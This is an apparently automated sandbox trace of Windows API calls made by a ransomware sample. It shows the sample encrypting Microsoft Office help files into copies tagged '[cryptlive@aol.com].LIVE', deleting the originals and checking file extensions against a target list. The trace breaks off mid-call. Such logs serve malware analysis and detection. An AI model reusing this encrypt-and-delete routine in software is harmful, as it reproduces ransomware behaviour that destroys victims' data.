lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0145.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.020] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=114) returned 1 [0145.020] CloseHandle (hObject=0x3d0) returned 1 [0145.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 0x20 [0145.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.020] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.020] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.021] GetLastError () returned 0x0 [0145.021] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x72, lpOverlapped=0x0) returned 1 [0145.022] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0145.023] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.023] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x100, lpOverlapped=0x0) returned 1 [0145.023] SetEndOfFile (hFile=0x3ac) returned 1 [0145.023] CloseHandle (hObject=0x3ac) returned 1 [0145.023] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.023] SetEndOfFile (hFile=0x3d0) returned 1 [0145.026] CloseHandle (hObject=0x3d0) returned 1 [0145.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 1 [0145.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.026] lstrlenW (lpString=".doc") returned 4 [0145.026] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.027] lstrlenW (lpString=".docx") returned 5 [0145.027] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.027] lstrlenW (lpString=".pdf") returned 4 [0145.027] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString=".xls") returned 4 [0145.027] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString=".xlsx") returned 5 [0145.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.027] lstrlenW (lpString=".ppt") returned 4 [0145.027] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString=".zip") returned 4 [0145.027] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString=".rar") returned 4 [0145.027] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString=".bz2") returned 4 [0145.027] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.027] lstrlenW (lpString=".7z") returned 3 [0145.027] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString=".dbf") returned 4 [0145.027] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString=".1cd") returned 4 [0145.027] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString=".jpg") returned 4 [0145.027] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.027] lstrlenW (lpString=".doc") returned 4 [0145.027] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.027] lstrlenW (lpString=".docx") returned 5 [0145.027] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.027] lstrlenW (lpString=".pdf") returned 4 [0145.027] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.028] lstrlenW (lpString=".xls") returned 4 [0145.028] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.028] lstrlenW (lpString=".xlsx") returned 5 [0145.028] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.028] lstrlenW (lpString=".ppt") returned 4 [0145.028] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.028] lstrlenW (lpString=".zip") returned 4 [0145.028] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.028] lstrlenW (lpString=".rar") returned 4 [0145.028] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.028] lstrlenW (lpString=".bz2") returned 4 [0145.028] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.028] lstrlenW (lpString=".7z") returned 3 [0145.028] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.028] lstrlenW (lpString=".dbf") returned 4 [0145.028] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.028] lstrlenW (lpString=".1cd") returned 4 [0145.028] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0145.028] lstrlenW (lpString=".jpg") returned 4 [0145.028] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.029] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0145.029] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0145.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.029] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=113) returned 1 [0145.029] CloseHandle (hObject=0x3d0) returned 1 [0145.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 0x20 [0145.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.030] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.030] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.030] GetLastError () returned 0x0 [0145.030] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x71, lpOverlapped=0x0) returned 1 [0145.032] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0145.032] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.032] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x100, lpOverlapped=0x0) returned 1 [0145.033] SetEndOfFile (hFile=0x3ac) returned 1 [0145.033] CloseHandle (hObject=0x3ac) returned 1 [0145.033] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.033] SetEndOfFile (hFile=0x3d0) returned 1 [0145.035] CloseHandle (hObject=0x3d0) returned 1 [0145.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 1 [0145.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.036] lstrlenW (lpString=".doc") returned 4 [0145.036] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.036] lstrlenW (lpString=".docx") returned 5 [0145.036] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.036] lstrlenW (lpString=".pdf") returned 4 [0145.036] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.036] lstrlenW (lpString=".xls") returned 4 [0145.036] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.036] lstrlenW (lpString=".xlsx") returned 5 [0145.036] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.037] lstrlenW (lpString=".ppt") returned 4 [0145.037] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".zip") returned 4 [0145.037] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString=".rar") returned 4 [0145.037] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString=".bz2") returned 4 [0145.037] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.037] lstrlenW (lpString=".7z") returned 3 [0145.037] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".dbf") returned 4 [0145.037] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".1cd") returned 4 [0145.037] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".jpg") returned 4 [0145.037] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".doc") returned 4 [0145.037] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.037] lstrlenW (lpString=".docx") returned 5 [0145.037] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.037] lstrlenW (lpString=".pdf") returned 4 [0145.037] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString=".xls") returned 4 [0145.037] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString=".xlsx") returned 5 [0145.037] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.037] lstrlenW (lpString=".ppt") returned 4 [0145.037] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.037] lstrlenW (lpString=".zip") returned 4 [0145.038] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.038] lstrlenW (lpString=".rar") returned 4 [0145.038] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.038] lstrlenW (lpString=".bz2") returned 4 [0145.038] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.038] lstrlenW (lpString=".7z") returned 3 [0145.038] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.038] lstrlenW (lpString=".dbf") returned 4 [0145.038] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.038] lstrlenW (lpString=".1cd") returned 4 [0145.038] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0145.038] lstrlenW (lpString=".jpg") returned 4 [0145.038] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.038] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0145.038] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0145.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.039] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6816061) returned 1 [0145.039] CloseHandle (hObject=0x3d0) returned 1 [0145.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0x20 [0145.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0145.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.039] lstrlenW (lpString=".doc") returned 4 [0145.039] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0145.039] lstrlenW (lpString=".docx") returned 5 [0145.039] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0145.039] lstrlenW (lpString=".pdf") returned 4 [0145.039] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0145.039] lstrlenW (lpString=".xls") returned 4 [0145.039] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0145.039] lstrlenW (lpString=".xlsx") returned 5 [0145.039] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0145.039] lstrlenW (lpString=".ppt") returned 4 [0145.039] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0145.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.039] lstrlenW (lpString=".zip") returned 4 [0145.040] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString=".rar") returned 4 [0145.040] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString=".bz2") returned 4 [0145.040] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0145.040] lstrlenW (lpString=".7z") returned 3 [0145.040] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString=".dbf") returned 4 [0145.040] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString=".1cd") returned 4 [0145.040] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString=".jpg") returned 4 [0145.040] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString=".doc") returned 4 [0145.040] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0145.040] lstrlenW (lpString=".docx") returned 5 [0145.040] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0145.040] lstrlenW (lpString=".pdf") returned 4 [0145.040] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString=".xls") returned 4 [0145.040] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString=".xlsx") returned 5 [0145.040] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0145.040] lstrlenW (lpString=".ppt") returned 4 [0145.040] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.040] lstrlenW (lpString=".zip") returned 4 [0145.040] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0145.040] lstrlenW (lpString=".rar") returned 4 [0145.041] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0145.041] lstrlenW (lpString=".bz2") returned 4 [0145.041] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0145.041] lstrlenW (lpString=".7z") returned 3 [0145.041] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0145.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.041] lstrlenW (lpString=".dbf") returned 4 [0145.041] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0145.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.041] lstrlenW (lpString=".1cd") returned 4 [0145.041] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0145.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0145.041] lstrlenW (lpString=".jpg") returned 4 [0145.041] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0145.041] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0145.041] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0145.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.042] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=636) returned 1 [0145.042] CloseHandle (hObject=0x3d0) returned 1 [0145.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 0x20 [0145.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.042] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.042] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.043] GetLastError () returned 0x0 [0145.043] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x27c, lpOverlapped=0x0) returned 1 [0145.068] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x280, lpOverlapped=0x0) returned 1 [0145.176] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.176] WriteFile (in: hFile=0x3ac, 